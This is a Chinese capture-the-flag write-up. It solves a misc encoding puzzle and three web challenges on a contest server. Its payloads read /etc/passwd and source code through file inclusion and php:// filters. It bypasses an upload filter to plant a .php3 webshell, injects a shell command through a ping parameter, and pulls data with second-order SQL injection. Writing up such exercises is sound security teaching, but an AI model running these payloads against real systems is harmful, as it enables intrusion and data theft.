主办方服务器一直很卡,导致比赛体验不是很好,希望下次能换个高配置的服务器 :)

Misc

可爱的喵喵

右键属性->细节->镜头制造商

image-20201119223004616

得到

4D5A5747435A33334D563447535A53374E425557495A44464E5A50574D3342554D3536513D3D3D3D

hex解密 -> base32解密 ->flag

image-20201119223232642

Web

web1

知识点

  • 信息收集
  • 文件包含/读取
  • 代码审计

打开题目链接,发现只有一个Apache2的默认页面,dirsearch扫一下web目录,看看有没有什么敏感文件

image-20201119114703077

python3 dirsearch.py -u http://47.105.128.249:35001/

image-20201119115000878

扫描完成后发现 edit.php f.php upload.php很可疑

访问http://47.105.128.249:35001/f.php?f=index.html

image-20201119115639459

发现成功包含文件,目测存在任意文件包含+读取,于是尝试读取/etc/passwd

经测试发现未开启远程包含

这里使用file协议读取

http://47.105.128.249:35001/f.php?f=file:///etc/passwd

image-20201119120407487

再利用PHP伪协议读取upload.php源代码审计一波

http://47.105.128.249:35001/f.php?f=php://filter/read=convert.base64-encode/resource=upload.php

upload.php

<?php
$res = [];
if ($_POST["filename"] == '') {
    $res['state'] = false;
    $res['info'] = "请上传txt格式文件";
    echo json_encode($res);
    exit();
} else {
    $file_name = $_POST['filename'];
    $file_ext = strrchr($file_name, '.');
    if($file_ext == '.php'){
        $res['state']=false;
    	$res['info']="文件名非法!";
    	echo json_encode($res);
    	exit();
    }
    $file_name = preg_replace("/[^a-zA-Z0-9.]+/","",$file_name);
    if($file_name === "") {
    	$res['state']=false;
    	$res['info']="要传好好传,别搞啊";
    	echo json_encode($res);
    	exit();
    }
    $file_path = './Uploads/'.$file_name;
    $fileContent = $_POST['filecontent'];

    if(strpos($fileContent,'eval')){
        $res['info']="检测到恶意代码,禁止上传!";
        echo json_encode($res);
        exit();
    }
    
    if(strpos($fileContent,'assert')){
        $res['info']="检测到恶意代码,禁止上传!";
        echo json_encode($res);
        exit();
    }
  
    $a = explode('.', $_POST['filename']);
    $ext = $a[count($a)-1];
    if (strtolower($ext)=='php') {
        file_put_contents($file_path, $fileContent);
    }
    else {
        file_put_contents($file_path, $fileContent);
    }
    $res['state'] = true;
    $res['info'] = '文件保存至'.$file_path;
    echo json_encode($res);
    exit();
}

发现只过滤了php后缀,可以直接利用php3绕过上传webshell

但奇怪的是前端并没有找到上传表单,索性看了下upload.js

image-20201119223913843

$(function () {
    $("#submit").on("click", function () {
        var fileName = $('#file_name').val();
        var fileContent = $('#file_content').val();
        $.ajax({
            url: "/upload.php",
            method: "POST",
            data: {filename: fileName, filecontent: fileContent},
            success:function (data, status) {
                result = JSON.parse(data);
                var notice = $('<div class="alert m-5" role="alert">' + result["info"] + '</div>');
                if (result["state"]) {
                    notice.addClass("alert-success");
                } else
                    notice.addClass("alert-danger");
                if ($('div.alert')) {
                    $('div.alert').remove();
                }
                $('form.m-5').before(notice);
            }
        });
    });
    }
);

image-20201119123808460

发现定义了上传过程,需要POST传参filename 和 filecontent,简单构造一下请求包

这里我们就不上传shell了,换用php文件包含,先上传个phpinfo测试一下

image-20201119130524566

换成小马重新上传,蚁剑连接

image-20201119130858625

flag{3676a83707feca6c9da2a058582d7191}

其实web1有很多解法,下面来说一说其他的解法

1)构造上传包->上传txt(内容为一句话马)->f.php本地文件包含->getshell->get flag

2)利用php伪协议读源码 http://47.105.128.249:35001/f.php?f=php://filter/read=convert.base64-encode/resource=upload.php然后审计上传函数,构造上传包上传php3后缀的马->get flag

web2

知识点

  • 代码审计
  • 命令执行

php任意代码执行无过滤

image-20201119224047154

构造payload

http://47.105.128.249:35002/?target=127.0.0.1 |cat /f*

flag{40e9a8e44ed6216f6455147d354c8276}

web3

知识点

  • 二次注入

image-20201119225348834

image-20201119225136950

发现有注册和登录 并且注册之后登录会显示出同年龄的人 猜测后台sql语句为:

select * from where age='100'

在注册的时候会有insert操作,但是后来测试了发现有转义,由此基本判断为二次注入

image-20201119225719819

在年龄处构造payload 使其返回为真并判断字段数量

1’ order by 4# //返回正常

image-20201119230506211

1’ order by 5# //无返回

image-20201119230812410

知道共有4个字段,union select 1,2,3,4 发现页面只回显了2

剩下的依次查询库名,表名,字段名就可以了

-1' union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=0x74657374 -- z#

image-20201119232950246

-1' union select 1,fl44g,3,4 from flaaag-- z#

image-20201119233249667

Re